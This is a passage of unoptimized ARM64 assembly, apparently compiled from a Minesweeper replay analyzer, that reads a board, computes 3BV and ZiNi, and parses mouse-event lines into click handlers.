ldrsw x9, [sp, #468]
add x8, sp, #1832
ldr x0, [x8, x9, lsl #3]
bl _strlen
ldr x9, [sp, #88] ; 8-byte Folded Reload
ldr w8, [sp, #96] ; 4-byte Folded Reload
add x9, x9, x0
add x9, x9, #1
ldrsw x11, [sp, #468]
add x10, sp, #1328
str x9, [x10, x11, lsl #3]
str w8, [sp, #404]
b LBB49_87
LBB49_85: ; in Loop: Header=BB49_82 Depth=2
b LBB49_86
LBB49_86: ; in Loop: Header=BB49_82 Depth=2
ldr w8, [sp, #468]
add w8, w8, #1
str w8, [sp, #468]
b LBB49_82
LBB49_87: ; in Loop: Header=BB49_54 Depth=1
b LBB49_88
LBB49_88: ; in Loop: Header=BB49_54 Depth=1
b LBB49_89
LBB49_89: ; in Loop: Header=BB49_54 Depth=1
b LBB49_90
LBB49_90: ; in Loop: Header=BB49_54 Depth=1
b LBB49_91
LBB49_91: ; in Loop: Header=BB49_54 Depth=1
b LBB49_92
LBB49_92: ; in Loop: Header=BB49_54 Depth=1
b LBB49_93
LBB49_93: ; in Loop: Header=BB49_54 Depth=1
b LBB49_94
LBB49_94: ; in Loop: Header=BB49_54 Depth=1
ldr x0, [sp, #160] ; 8-byte Folded Reload
ldr x8, [sp, #152] ; 8-byte Folded Reload
ldr x1, [x8]
bl _fputs
b LBB49_54
LBB49_95:
ldr x9, [sp, #176] ; 8-byte Folded Reload
ldr x8, [sp, #184] ; 8-byte Folded Reload
ldr w8, [x8]
ldr w9, [x9]
mul w9, w8, w9
adrp x8, _size@GOTPAGE
ldr x8, [x8, _size@GOTPAGEOFF]
str w9, [x8]
; implicit-def: $x8
mov x8, x9
sxtw x9, w8
mov x8, #56
mul x0, x8, x9
bl _malloc
ldr x8, [sp, #192] ; 8-byte Folded Reload
str x0, [x8]
str wzr, [sp, #468]
b LBB49_96
LBB49_96: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #468]
subs w8, w8, #42
cset w8, ge
tbnz w8, #0, LBB49_101
b LBB49_97
LBB49_97: ; in Loop: Header=BB49_96 Depth=1
ldrsw x9, [sp, #468]
add x8, sp, #1664
ldr w8, [x8, x9, lsl #2]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB49_99
b LBB49_98
LBB49_98: ; in Loop: Header=BB49_96 Depth=1
ldr x8, [sp, #152] ; 8-byte Folded Reload
ldrsw x10, [sp, #468]
add x9, sp, #1832
ldr x0, [x9, x10, lsl #3]
ldr x1, [x8]
bl _fputs
ldr x8, [sp, #152] ; 8-byte Folded Reload
ldr x0, [x8]
bl _ftell
ldr x8, [sp, #152] ; 8-byte Folded Reload
add x9, x0, #2
ldrsw x11, [sp, #468]
add x10, sp, #1328
str x9, [x10, x11, lsl #3]
ldr x1, [x8]
adrp x0, l_.str.82@PAGE
add x0, x0, l_.str.82@PAGEOFF
bl _fputs
b LBB49_99
LBB49_99: ; in Loop: Header=BB49_96 Depth=1
b LBB49_100
LBB49_100: ; in Loop: Header=BB49_96 Depth=1
ldr w8, [sp, #468]
add w8, w8, #1
str w8, [sp, #468]
b LBB49_96
LBB49_101:
bl _clearboard
str wzr, [sp, #464]
b LBB49_102
LBB49_102: ; =>This Loop Header: Depth=1
; Child Loop BB49_104 Depth 2
ldr x9, [sp, #176] ; 8-byte Folded Reload
ldr w8, [sp, #464]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB49_109
b LBB49_103
LBB49_103: ; in Loop: Header=BB49_102 Depth=1
ldr x0, [sp, #160] ; 8-byte Folded Reload
ldr x8, [sp, #136] ; 8-byte Folded Reload
ldr x2, [x8]
mov w1, #1000
bl _fgets
str wzr, [sp, #460]
b LBB49_104
LBB49_104: ; Parent Loop BB49_102 Depth=1
; => This Inner Loop Header: Depth=2
ldr x9, [sp, #184] ; 8-byte Folded Reload
ldr w8, [sp, #460]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB49_107
b LBB49_105
LBB49_105: ; in Loop: Header=BB49_104 Depth=2
ldr x11, [sp, #176] ; 8-byte Folded Reload
ldr x9, [sp, #192] ; 8-byte Folded Reload
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldrsw x10, [sp, #460]
ldrsb w8, [x8, x10]
subs w8, w8, #42
cset w8, eq
and w8, w8, #0x1
ldr x9, [x9]
ldr w10, [sp, #460]
ldr w11, [x11]
mul w10, w10, w11
ldr w11, [sp, #464]
add w10, w10, w11
mov w11, #56
smull x10, w10, w11
str w8, [x9, x10]
b LBB49_106
LBB49_106: ; in Loop: Header=BB49_104 Depth=2
ldr w8, [sp, #460]
add w8, w8, #1
str w8, [sp, #460]
b LBB49_104
LBB49_107: ; in Loop: Header=BB49_102 Depth=1
ldr x0, [sp, #160] ; 8-byte Folded Reload
ldr x8, [sp, #152] ; 8-byte Folded Reload
ldr x1, [x8]
bl _fputs
b LBB49_108
LBB49_108: ; in Loop: Header=BB49_102 Depth=1
ldr w8, [sp, #464]
add w8, w8, #1
str w8, [sp, #464]
b LBB49_102
LBB49_109:
bl _init_board
bl _calc_bbbv
adrp x8, _no_zini@PAGE
ldr w8, [x8, _no_zini@PAGEOFF]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB49_111
b LBB49_110
LBB49_110:
bl _calc_zini
b LBB49_111
LBB49_111:
ldr x8, [sp, #248] ; 8-byte Folded Reload
ldr x9, [sp, #240] ; 8-byte Folded Reload
ldr x10, [sp, #232] ; 8-byte Folded Reload
ldr x11, [sp, #224] ; 8-byte Folded Reload
ldr x12, [sp, #216] ; 8-byte Folded Reload
ldr x13, [sp, #208] ; 8-byte Folded Reload
ldr x14, [sp, #200] ; 8-byte Folded Reload
adrp x15, _rilian_clicks@GOTPAGE
ldr x15, [x15, _rilian_clicks@GOTPAGEOFF]
str wzr, [x15]
adrp x15, _misunflags@GOTPAGE
ldr x15, [x15, _misunflags@GOTPAGEOFF]
str wzr, [x15]
adrp x15, _misflags@GOTPAGE
ldr x15, [x15, _misflags@GOTPAGEOFF]
str wzr, [x15]
adrp x15, _unflags@GOTPAGE
ldr x15, [x15, _unflags@GOTPAGEOFF]
str wzr, [x15]
adrp x15, _wasted_flags@GOTPAGE
ldr x15, [x15, _wasted_flags@GOTPAGEOFF]
str wzr, [x15]
adrp x15, _flags@GOTPAGE
ldr x15, [x15, _flags@GOTPAGEOFF]
str wzr, [x15]
adrp x15, _wasted_clicks_15@GOTPAGE
ldr x15, [x15, _wasted_clicks_15@GOTPAGEOFF]
str wzr, [x15]
adrp x15, _clicks_15@GOTPAGE
ldr x15, [x15, _clicks_15@GOTPAGEOFF]
str wzr, [x15]
str wzr, [x14]
str wzr, [x13]
str wzr, [x12]
str wzr, [x11]
str wzr, [x10]
str wzr, [x9]
adrp x9, _distance@GOTPAGE
ldr x9, [x9, _distance@GOTPAGEOFF]
str wzr, [x9]
str wzr, [x8]
adrp x8, _onedotfive@GOTPAGE
ldr x8, [x8, _onedotfive@GOTPAGEOFF]
str wzr, [x8]
adrp x8, _chorded@GOTPAGE
ldr x8, [x8, _chorded@GOTPAGEOFF]
str wzr, [x8]
adrp x8, _shift_left@GOTPAGE
ldr x8, [x8, _shift_left@GOTPAGEOFF]
str wzr, [x8]
adrp x8, _middle@GOTPAGE
ldr x8, [x8, _middle@GOTPAGEOFF]
str wzr, [x8]
adrp x8, _right@GOTPAGE
ldr x8, [x8, _right@GOTPAGEOFF]
str wzr, [x8]
adrp x8, _left@GOTPAGE
ldr x8, [x8, _left@GOTPAGEOFF]
str wzr, [x8]
b LBB49_112
LBB49_112: ; =>This Loop Header: Depth=1
; Child Loop BB49_141 Depth 2
; Child Loop BB49_148 Depth 2
; Child Loop BB49_153 Depth 2
; Child Loop BB49_223 Depth 2
; Child Loop BB49_228 Depth 2
; Child Loop BB49_233 Depth 2
; Child Loop BB49_238 Depth 2
; Child Loop BB49_243 Depth 2
ldr x8, [sp, #136] ; 8-byte Folded Reload
ldr x0, [sp, #160] ; 8-byte Folded Reload
ldr x2, [x8]
mov w1, #1000
bl _fgets
ldr x8, [sp, #136] ; 8-byte Folded Reload
ldr x0, [x8]
bl _feof
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB49_114
b LBB49_113
LBB49_113:
b LBB49_257
LBB49_114: ; in Loop: Header=BB49_112 Depth=1
ldr x0, [sp, #160] ; 8-byte Folded Reload
bl _strlen
mov x8, x0
str w8, [sp, #376]
ldr w8, [sp, #376]
subs w8, w8, #2
cset w8, le
mov w9, #1
str w9, [sp, #84] ; 4-byte Folded Spill
tbnz w8, #0, LBB49_120
b LBB49_115
LBB49_115: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldrsb w8, [x8]
subs w8, w8, #99
cset w8, eq
mov w9, #1
str w9, [sp, #84] ; 4-byte Folded Spill
tbnz w8, #0, LBB49_120
b LBB49_116
LBB49_116: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldrsb w8, [x8]
subs w8, w8, #102
cset w8, eq
mov w9, #1
str w9, [sp, #84] ; 4-byte Folded Spill
tbnz w8, #0, LBB49_120
b LBB49_117
LBB49_117: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldrsb w8, [x8]
subs w8, w8, #113
cset w8, eq
mov w9, #1
str w9, [sp, #84] ; 4-byte Folded Spill
tbnz w8, #0, LBB49_120
b LBB49_118
LBB49_118: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldrsb w8, [x8]
subs w8, w8, #112
cset w8, eq
mov w9, #1
str w9, [sp, #84] ; 4-byte Folded Spill
tbnz w8, #0, LBB49_120
b LBB49_119
LBB49_119: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldrsb w8, [x8]
subs w8, w8, #110
cset w8, eq
str w8, [sp, #84] ; 4-byte Folded Spill
b LBB49_120
LBB49_120: ; in Loop: Header=BB49_112 Depth=1
ldr w8, [sp, #84] ; 4-byte Folded Reload
and w8, w8, #0x1
str w8, [sp, #380]
adrp x8, _no_board_events@PAGE
ldr w8, [x8, _no_board_events@PAGEOFF]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB49_123
b LBB49_121
LBB49_121: ; in Loop: Header=BB49_112 Depth=1
ldr w8, [sp, #380]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB49_123
b LBB49_122
LBB49_122: ; in Loop: Header=BB49_112 Depth=1
b LBB49_112
LBB49_123: ; in Loop: Header=BB49_112 Depth=1
ldr x0, [sp, #160] ; 8-byte Folded Reload
ldr x8, [sp, #152] ; 8-byte Folded Reload
ldr x1, [x8]
bl _fputs
ldr w8, [sp, #380]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB49_125
b LBB49_124
LBB49_124: ; in Loop: Header=BB49_112 Depth=1
b LBB49_112
LBB49_125: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldrsb w8, [x8]
subs w8, w8, #115
cset w8, ne
tbnz w8, #0, LBB49_127
b LBB49_126
LBB49_126: ; in Loop: Header=BB49_112 Depth=1
b LBB49_112
LBB49_127: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldrsb w8, [x8]
subs w8, w8, #119
cset w8, ne
tbnz w8, #0, LBB49_129
b LBB49_128
LBB49_128: ; in Loop: Header=BB49_112 Depth=1
mov w8, #1
str w8, [sp, #408]
b LBB49_254
LBB49_129: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldrsb w8, [x8]
subs w8, w8, #98
cset w8, ne
tbnz w8, #0, LBB49_132
b LBB49_130
LBB49_130: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldrsb w8, [x8, #1]
subs w8, w8, #108
cset w8, ne
tbnz w8, #0, LBB49_132
b LBB49_131
LBB49_131: ; in Loop: Header=BB49_112 Depth=1
b LBB49_112
LBB49_132: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldrsb w8, [x8]
subs w8, w8, #98
cset w8, ne
tbnz w8, #0, LBB49_135
b LBB49_133
LBB49_133: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldrsb w8, [x8, #1]
subs w8, w8, #111
cset w8, ne
tbnz w8, #0, LBB49_135
b LBB49_134
LBB49_134: ; in Loop: Header=BB49_112 Depth=1
b LBB49_112
LBB49_135: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldrsb w8, [x8]
subs w8, w8, #110
cset w8, ne
tbnz w8, #0, LBB49_138
b LBB49_136
LBB49_136: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldrsb w8, [x8, #1]
subs w8, w8, #111
cset w8, ne
tbnz w8, #0, LBB49_138
b LBB49_137
LBB49_137: ; in Loop: Header=BB49_112 Depth=1
b LBB49_112
LBB49_138: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldrsb w0, [x8]
bl _isdigit
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB49_140
b LBB49_139
LBB49_139: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldrsb w8, [x8]
subs w8, w8, #45
cset w8, ne
tbnz w8, #0, LBB49_250
b LBB49_140
LBB49_140: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #256] ; 8-byte Folded Reload
ldr x9, [sp, #160] ; 8-byte Folded Reload
ldrsb w9, [x9]
subs w9, w9, #45
cset w9, eq
and w10, w9, #0x1
mov w9, #0
ands w10, w10, #0x1
csinc w9, w9, wzr, eq
str w9, [sp, #372]
; kill: def $x9 killed $xzr
str xzr, [sp, #360]
str wzr, [x8]
b LBB49_141
LBB49_141: ; Parent Loop BB49_112 Depth=1
; => This Inner Loop Header: Depth=2
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldrsw x9, [sp, #372]
ldrsb w8, [x8, x9]
subs w8, w8, #46
cset w8, eq
mov w9, #0
str w9, [sp, #80] ; 4-byte Folded Spill
tbnz w8, #0, LBB49_143
b LBB49_142
LBB49_142: ; in Loop: Header=BB49_141 Depth=2
ldr w8, [sp, #372]
ldr w9, [sp, #376]
subs w8, w8, w9
cset w8, lt
str w8, [sp, #80] ; 4-byte Folded Spill
b LBB49_143
LBB49_143: ; in Loop: Header=BB49_141 Depth=2
ldr w8, [sp, #80] ; 4-byte Folded Reload
tbz w8, #0, LBB49_145
b LBB49_144
LBB49_144: ; in Loop: Header=BB49_141 Depth=2
ldr x9, [sp, #256] ; 8-byte Folded Reload
ldr x10, [sp, #160] ; 8-byte Folded Reload
ldr w8, [x9]
mov w11, #10
mul w8, w8, w11
ldrsw x11, [sp, #372]
mov x12, x11
add w12, w12, #1
str w12, [sp, #372]
ldrsb w10, [x10, x11]
add w8, w8, w10
subs w8, w8, #48
str w8, [x9]
b LBB49_141
LBB49_145: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldr x10, [sp, #256] ; 8-byte Folded Reload
ldr w9, [x10]
mov w11, #1000
mul w9, w9, w11
ldr w11, [sp, #372]
add w11, w11, #1
ldrsb w11, [x8, w11, sxtw]
subs w11, w11, #48
mov w12, #100
mul w11, w11, w12
add w9, w9, w11
ldr w11, [sp, #372]
add w11, w11, #2
ldrsb w11, [x8, w11, sxtw]
subs w11, w11, #48
mov w12, #10
mul w11, w11, w12
add w9, w9, w11
str w9, [x10]
ldr w9, [sp, #372]
add w9, w9, #3
ldrsb w0, [x8, w9, sxtw]
bl _isdigit
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB49_147
b LBB49_146
LBB49_146: ; in Loop: Header=BB49_112 Depth=1
ldr x9, [sp, #256] ; 8-byte Folded Reload
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldr w10, [sp, #372]
add w10, w10, #3
ldrsb w8, [x8, w10, sxtw]
subs w10, w8, #48
ldr w8, [x9]
add w8, w8, w10
str w8, [x9]
b LBB49_147
LBB49_147: ; in Loop: Header=BB49_112 Depth=1
b LBB49_148
LBB49_148: ; Parent Loop BB49_112 Depth=1
; => This Inner Loop Header: Depth=2
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldr w9, [sp, #372]
add w9, w9, #1
str w9, [sp, #372]
ldrsb w8, [x8, w9, sxtw]
subs w8, w8, #32
cset w8, eq
mov w9, #0
str w9, [sp, #76] ; 4-byte Folded Spill
tbnz w8, #0, LBB49_150
b LBB49_149
LBB49_149: ; in Loop: Header=BB49_148 Depth=2
ldr w8, [sp, #372]
ldr w9, [sp, #376]
subs w8, w8, w9
cset w8, lt
str w8, [sp, #76] ; 4-byte Folded Spill
b LBB49_150
LBB49_150: ; in Loop: Header=BB49_148 Depth=2
ldr w8, [sp, #76] ; 4-byte Folded Reload
tbz w8, #0, LBB49_152
b LBB49_151
LBB49_151: ; in Loop: Header=BB49_148 Depth=2
b LBB49_148
LBB49_152: ; in Loop: Header=BB49_112 Depth=1
b LBB49_153
LBB49_153: ; Parent Loop BB49_112 Depth=1
; => This Inner Loop Header: Depth=2
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldr w9, [sp, #372]
add w9, w9, #1
str w9, [sp, #372]
ldrsb w8, [x8, w9, sxtw]
subs w8, w8, #32
cset w8, ne
mov w9, #0
str w9, [sp, #72] ; 4-byte Folded Spill
tbnz w8, #0, LBB49_155
b LBB49_154
LBB49_154: ; in Loop: Header=BB49_153 Depth=2
ldr w8, [sp, #372]
ldr w9, [sp, #376]
subs w8, w8, w9
cset w8, lt
str w8, [sp, #72] ; 4-byte Folded Spill
b LBB49_155
LBB49_155: ; in Loop: Header=BB49_153 Depth=2
ldr w8, [sp, #72] ; 4-byte Folded Reload
tbz w8, #0, LBB49_157
b LBB49_156
LBB49_156: ; in Loop: Header=BB49_153 Depth=2
b LBB49_153
LBB49_157: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldrsb w8, [x8]
subs w8, w8, #45
cset w8, ne
tbnz w8, #0, LBB49_159
b LBB49_158
LBB49_158: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #256] ; 8-byte Folded Reload
str wzr, [x8]
b LBB49_159
LBB49_159: ; in Loop: Header=BB49_112 Depth=1
ldr w8, [sp, #372]
add w8, w8, #1
ldr w9, [sp, #376]
subs w8, w8, w9
cset w8, lt
tbnz w8, #0, LBB49_161
b LBB49_160
LBB49_160: ; in Loop: Header=BB49_112 Depth=1
b LBB49_112
LBB49_161: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldrsw x9, [sp, #372]
ldrsb w8, [x8, x9]
subs w8, w8, #108
cset w8, ne
tbnz w8, #0, LBB49_169
b LBB49_162
LBB49_162: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldr w9, [sp, #372]
add w9, w9, #1
ldrsb w8, [x8, w9, sxtw]
subs w8, w8, #114
cset w8, ne
tbnz w8, #0, LBB49_164
b LBB49_163
LBB49_163: ; in Loop: Header=BB49_112 Depth=1
adrp x8, _left_click@PAGE
add x8, x8, _left_click@PAGEOFF
str x8, [sp, #360]
b LBB49_168
LBB49_164: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldr w9, [sp, #372]
add w9, w9, #1
ldrsb w8, [x8, w9, sxtw]
subs w8, w8, #99
cset w8, ne
tbnz w8, #0, LBB49_166
b LBB49_165
LBB49_165: ; in Loop: Header=BB49_112 Depth=1
adrp x8, _left_press@PAGE
add x8, x8, _left_press@PAGEOFF
str x8, [sp, #360]
b LBB49_167
LBB49_166: ; in Loop: Header=BB49_112 Depth=1
adrp x0, l_.str.83@PAGE
add x0, x0, l_.str.83@PAGEOFF
bl _error
b LBB49_167
LBB49_167: ; in Loop: Header=BB49_112 Depth=1
b LBB49_168
LBB49_168: ; in Loop: Header=BB49_112 Depth=1
b LBB49_222
LBB49_169: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldrsw x9, [sp, #372]
ldrsb w8, [x8, x9]
subs w8, w8, #114
cset w8, ne
tbnz w8, #0, LBB49_177
b LBB49_170
LBB49_170: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldr w9, [sp, #372]
add w9, w9, #1
ldrsb w8, [x8, w9, sxtw]
subs w8, w8, #114
cset w8, ne
tbnz w8, #0, LBB49_172
b LBB49_171
LBB49_171: ; in Loop: Header=BB49_112 Depth=1
adrp x8, _right_click@PAGE
add x8, x8, _right_click@PAGEOFF
str x8, [sp, #360]
b LBB49_176
LBB49_172: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldr w9, [sp, #372]
add w9, w9, #1
ldrsb w8, [x8, w9, sxtw]
subs w8, w8, #99
cset w8, ne
tbnz w8, #0, LBB49_174
b LBB49_173
LBB49_173: ; in Loop: Header=BB49_112 Depth=1
adrp x8, _right_press@PAGE
add x8, x8, _right_press@PAGEOFF
str x8, [sp, #360]
b LBB49_175
LBB49_174: ; in Loop: Header=BB49_112 Depth=1
adrp x0, l_.str.83@PAGE
add x0, x0, l_.str.83@PAGEOFF
bl _error
b LBB49_175
LBB49_175: ; in Loop: Header=BB49_112 Depth=1
b LBB49_176
LBB49_176: ; in Loop: Header=BB49_112 Depth=1
b LBB49_221
LBB49_177: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldrsw x9, [sp, #372]
ldrsb w8, [x8, x9]
subs w8, w8, #109
cset w8, ne
tbnz w8, #0, LBB49_191
b LBB49_178
LBB49_178: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldr w9, [sp, #372]
add w9, w9, #1
ldrsb w8, [x8, w9, sxtw]
subs w8, w8, #118
cset w8, ne
tbnz w8, #0, LBB49_180
b LBB49_179
LBB49_179: ; in Loop: Header=BB49_112 Depth=1
adrp x8, _mouse_move@PAGE
add x8, x8, _mouse_move@PAGEOFF
str x8, [sp, #360]
b LBB49_190
LBB49_180: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldr w9, [sp, #372]
add w9, w9, #1
ldrsb w8, [x8, w9, sxtw]
subs w8, w8, #114
cset w8, ne
tbnz w8, #0, LBB49_182
b LBB49_181
LBB49_181: ; in Loop: Header=BB49_112 Depth=1
adrp x8, _middle_click@PAGE
add x8, x8, _middle_click@PAGEOFF
str x8, [sp, #360]
b LBB49_189
LBB49_182: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldr w9, [sp, #372]
add w9, w9, #1
ldrsb w8, [x8, w9, sxtw]
subs w8, w8, #99
cset w8, ne
tbnz w8, #0, LBB49_184
b LBB49_183
LBB49_183: ; in Loop: Header=BB49_112 Depth=1
adrp x8, _middle_press@PAGE
add x8, x8, _middle_press@PAGEOFF
str x8, [sp, #360]
b LBB49_188
LBB49_184: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldr w9, [sp, #372]
add w9, w9, #1
ldrsb w8, [x8, w9, sxtw]
subs w8, w8, #116
cset w8, ne
tbnz w8, #0, LBB49_186
b LBB49_185
LBB49_185: ; in Loop: Header=BB49_112 Depth=1
adrp x8, _toggle_question_mark_setting@PAGE
add x8, x8, _toggle_question_mark_setting@PAGEOFF
str x8, [sp, #360]
b LBB49_187
LBB49_186: ; in Loop: Header=BB49_112 Depth=1
adrp x0, l_.str.83@PAGE
add x0, x0, l_.str.83@PAGEOFF
bl _error
b LBB49_187
LBB49_187: ; in Loop: Header=BB49_112 Depth=1
b LBB49_188
LBB49_188: ; in Loop: Header=BB49_112 Depth=1
b LBB49_189
LBB49_189: ; in Loop: Header=BB49_112 Depth=1
b LBB49_190
LBB49_190: ; in Loop: Header=BB49_112 Depth=1
b LBB49_220
LBB49_191: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldrsw x9, [sp, #372]
ldrsb w8, [x8, x9]
subs w8, w8, #115
cset w8, ne
tbnz w8, #0, LBB49_203
b LBB49_192
LBB49_192: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldr w9, [sp, #372]
add w9, w9, #1
ldrsb w8, [x8, w9, sxtw]
subs w8, w8, #116
cset w8, ne
tbnz w8, #0, LBB49_194
b LBB49_193
LBB49_193: ; in Loop: Header=BB49_112 Depth=1
b LBB49_112
LBB49_194: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldr w9, [sp, #372]
add w9, w9, #1
ldrsb w8, [x8, w9, sxtw]
subs w8, w8, #120
cset w8, eq
tbnz w8, #0, LBB49_196
b LBB49_195
LBB49_195: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldr w9, [sp, #372]
add w9, w9, #1
ldrsb w8, [x8, w9, sxtw]
subs w8, w8, #121
cset w8, ne
tbnz w8, #0, LBB49_197
b LBB49_196
LBB49_196: ; in Loop: Header=BB49_112 Depth=1
b LBB49_112
LBB49_197: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldr w9, [sp, #372]
add w9, w9, #1
ldrsb w8, [x8, w9, sxtw]
subs w8, w8, #99
cset w8, ne
tbnz w8, #0, LBB49_199
b LBB49_198
LBB49_198: ; in Loop: Header=BB49_112 Depth=1
adrp x8, _left_press_with_shift@PAGE
add x8, x8, _left_press_with_shift@PAGEOFF
str x8, [sp, #360]
b LBB49_200
LBB49_199: ; in Loop: Header=BB49_112 Depth=1
adrp x0, l_.str.83@PAGE
add x0, x0, l_.str.83@PAGEOFF
bl _error
b LBB49_200
LBB49_200: ; in Loop: Header=BB49_112 Depth=1
b LBB49_201
LBB49_201: ; in Loop: Header=BB49_112 Depth=1
b LBB49_202
LBB49_202: ; in Loop: Header=BB49_112 Depth=1
b LBB49_219
LBB49_203: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldrsw x9, [sp, #372]
ldrsb w8, [x8, x9]
subs w8, w8, #119
cset w8, ne
tbnz w8, #0, LBB49_205
b LBB49_204
LBB49_204: ; in Loop: Header=BB49_112 Depth=1
mov w8, #1
str w8, [sp, #408]
b LBB49_218
LBB49_205: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldrsw x9, [sp, #372]
ldrsb w8, [x8, x9]
subs w8, w8, #98
cset w8, ne
tbnz w8, #0, LBB49_208
b LBB49_206
LBB49_206: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldr w9, [sp, #372]
add w9, w9, #1
ldrsb w8, [x8, w9, sxtw]
subs w8, w8, #108
cset w8, ne
tbnz w8, #0, LBB49_208
b LBB49_207
LBB49_207: ; in Loop: Header=BB49_112 Depth=1
b LBB49_112
LBB49_208: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldrsw x9, [sp, #372]
ldrsb w8, [x8, x9]
subs w8, w8, #98
cset w8, ne
tbnz w8, #0, LBB49_211
b LBB49_209
LBB49_209: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldr w9, [sp, #372]
add w9, w9, #1
ldrsb w8, [x8, w9, sxtw]
subs w8, w8, #111
cset w8, ne
tbnz w8, #0, LBB49_211
b LBB49_210
LBB49_210: ; in Loop: Header=BB49_112 Depth=1
b LBB49_112
LBB49_211: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldrsw x9, [sp, #372]
ldrsb w8, [x8, x9]
subs w8, w8, #110
cset w8, ne
tbnz w8, #0, LBB49_214
b LBB49_212
LBB49_212: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldr w9, [sp, #372]
add w9, w9, #1
ldrsb w8, [x8, w9, sxtw]
subs w8, w8, #111
cset w8, ne
tbnz w8, #0, LBB49_214
b LBB49_213
LBB49_213: ; in Loop: Header=BB49_112 Depth=1
b LBB49_112
LBB49_214: ; in Loop: Header=BB49_112 Depth=1
adrp x0, l_.str.83@PAGE
add x0, x0, l_.str.83@PAGEOFF
bl _error
b LBB49_215
LBB49_215: ; in Loop: Header=BB49_112 Depth=1
b LBB49_216
LBB49_216: ; in Loop: Header=BB49_112 Depth=1
b LBB49_217
LBB49_217: ; in Loop: Header=BB49_112 Depth=1
b LBB49_218
LBB49_218: ; in Loop: Header=BB49_112 Depth=1
b LBB49_219
LBB49_219: ; in Loop: Header=BB49_112 Depth=1
b LBB49_220
LBB49_220: ; in Loop: Header=BB49_112 Depth=1
b LBB49_221
LBB49_221: ; in Loop: Header=BB49_112 Depth=1
b LBB49_222
LBB49_222: ; in Loop: Header=BB49_112 Depth=1
b LBB49_223
LBB49_223: ; Parent Loop BB49_112 Depth=1
; => This Inner Loop Header: Depth=2
ldr x8, [sp, #160] ; 8-byte Folded Reload
